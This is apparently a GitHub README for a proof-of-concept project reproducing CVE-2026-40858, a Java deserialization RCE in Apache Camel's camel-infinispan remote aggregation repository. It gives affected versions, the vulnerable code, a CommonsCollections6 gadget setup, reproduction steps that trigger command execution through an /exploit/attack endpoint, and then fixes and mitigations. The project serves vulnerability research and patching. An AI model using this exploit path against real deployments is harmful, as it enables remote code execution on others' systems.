oscerd/CVE-2026-40858

GitHub: oscerd/CVE-2026-40858

CVE-2026-40858 复现项目,演示 Apache Camel camel-infinispan 远程聚合仓库因缺乏反序列化过滤而导致的 RCE 漏洞。

Stars: 1 | Forks: 0

# camel-infinispan 远程聚合仓库不安全反序列化复现 (CVE-2026-40858) 本项目演示了 Apache Camel 的 `camel-infinispan` 组件中的一个 **Java 反序列化漏洞**,追踪编号为 **CVE-2026-40858**。基于 ProtoStream 的 **远程聚合仓库** 会将每个聚合的 `Exchange` 序列化到远程 Infinispan 缓存中,并且当它读回条目时 (在 `get()` / `recover()` 时),会使用 `java.io.ObjectInputStream` 反序列化它,并且**没有使用 `ObjectInputFilter`**。能够写入后端缓存的攻击者可以植入一个精心构造的序列化 对象,并在仓库下次读取该 key 时获得**远程代码执行**。 安全通告:https://camel.apache.org/security/CVE-2026-40858.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-infinispan` (远程 / HotRod 聚合仓库) | | **受影响的类** | `org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter` → `DefaultExchangeHolderUtils.deserialize(byte[])` | | **CWE** | CWE-502: Deserialization of Untrusted Data | | **影响** | 远程代码执行 (RCE) | | **受影响版本** | 从 4.0.0 到 4.14.7 之前,从 4.15.0 到 4.18.2 之前,从 4.19.0 到 4.20.0 之前 | | **已修复版本** | 4.14.7, 4.18.2, 4.20.0 | | **JIRA** | CAMEL-23322 | | **报告者** | Feng Ning (Innora Pte. Ltd.) | ## 技术细节 `InfinispanRemoteAggregationRepository` 将每个 `Exchange` 存储为 `DefaultExchangeHolder`。使用 ProtoStream marshaller 时,该 holder 由 `DefaultExchangeHolderProtoAdapter` 适配,其 ProtoStream 字段 #1 是使用普通 `ObjectOutputStream` 序列化的 holder。在读取回来时,adapter 通过将这些字节传递给 `DefaultExchangeHolderUtils.deserialize` 来重建 holder: ``` // DefaultExchangeHolderUtils.deserialize(byte[]) - affected version static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais); return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter } ``` `ClassLoadingAwareObjectInputStream` 扩大而不是限制了可解析类的集合,因此 `readObject()` 将实例化 classpath 上存在的任何 gadget chain。由于字节直接来自 远程缓存,**任何能够写入该缓存 key 的人都可以控制反序列化 流** —— 并且 gadget 在 `readObject()` 期间触发,早于该值被强制转换为 `DefaultExchangeHolder`。 ## 受害者配置 一个路由(或者像这里一样,应用程序代码)使用由 Infinispan 服务器支持的远程聚合仓库: ``` InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration(); conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server InfinispanRemoteAggregationRepository repo = new InfinispanRemoteAggregationRepository("camel-aggregation"); repo.setConfiguration(conf); repo.setCamelContext(camelContext); repo.start(); // ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...) ``` 对存储值被篡改的 key 进行任何 `get()` / `recover()` 都会触发接收端。 ## 仓库布局 — 漏洞代码运行的位置 **易受攻击的 Camel 代码在应用程序中运行**(在主机上);**Infinispan 服务器在 Docker 中运行**,作为仓库与之通信的后端存储。这反映了仓库在实际中的部署方式: 不受信任的数据存在于共享缓存中。 ``` CVE-2026-40858/ ├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget) ├── docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache) ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository │ ├── Gadget.java # CommonsCollections6 gadget, fired during readObject() │ └── ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it └── resources/ └── application.properties ``` ## 前置条件 - Java 17+ 和 Maven 3.8+ - Docker(运行 Infinispan 服务器) ## 复现步骤 ### 步骤 1:启动 Infinispan 服务器 ``` docker compose up -d # 等待直到就绪: curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \ http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200 ``` ### 步骤 2:构建并运行易受攻击的应用程序 CommonsCollections6 gadget 通过反射动态组装到 `java.util` 中,因此 JVM 必须 使用 `--add-opens java.base/java.util=ALL-UNNAMED` 启动: ``` mvn clean package -DskipTests java --add-opens java.base/java.util=ALL-UNNAMED \ -jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar ``` ### 步骤 3:触发反序列化 (RCE) ``` curl -s http://localhost:8080/exploit/attack # -> repo.get() 返回:Exchange[...] # # >>> RCE proof — /tmp/pwned 存在:true ``` `/tmp/pwned` 是在仓库反序列化植入的 缓存值时,由 gadget(`touch /tmp/pwned`)创建的。 ### 清理 ``` docker compose down rm -f /tmp/pwned ``` ## 攻击向量 任何使用 `InfinispanRemoteAggregationRepository`(ProtoStream marshalling)针对 攻击者可写入的缓存的部署。缓存写入权限可能来自共享/多租户 Infinispan 集群、网络可访问的 HotRod endpoint,或者任何其他将数据放入同一缓存的生产者。 ## 利用条件 1. camel-infinispan **远程**聚合仓库从攻击者可写入的缓存中读取。 2. **classpath 上存在 gadget 库**(此处为 `commons-collections:3.2.1`)。 ## 推荐修复 升级到 **4.14.7 / 4.18.2 / 4.20.0**。该修复对 holder 反序列化应用了 `ObjectInputFilter` / 类白名单,这与应用于其他 Camel 聚合仓库 (camel-leveldb, camel-cassandraql, camel-jms)以及 camel-mina / camel-netty 的强化措施相匹配。 ## 缓解措施 在升级之前: 1. 将 Infinispan 缓存视为信任边界 —— 限制谁可以写入聚合缓存。 2. **从 classpath 中移除 gadget 库**(升级/移除 commons-collections 3.x 及类似库)。 3. 将 Infinispan HotRod endpoint 保持在启用了身份验证的受信任网络上。 ## 免责声明 此复现项目仅用于**安全研究和授权测试**,针对的是**已公开 披露并已修复的**漏洞。未经明确许可,请勿将其用于系统。
标签:Apache Camel, Java反序列化, JS文件枚举, Maven, 域名枚举, 漏洞复现, 漏洞验证, 编程工具, 请求拦截, 远程代码执行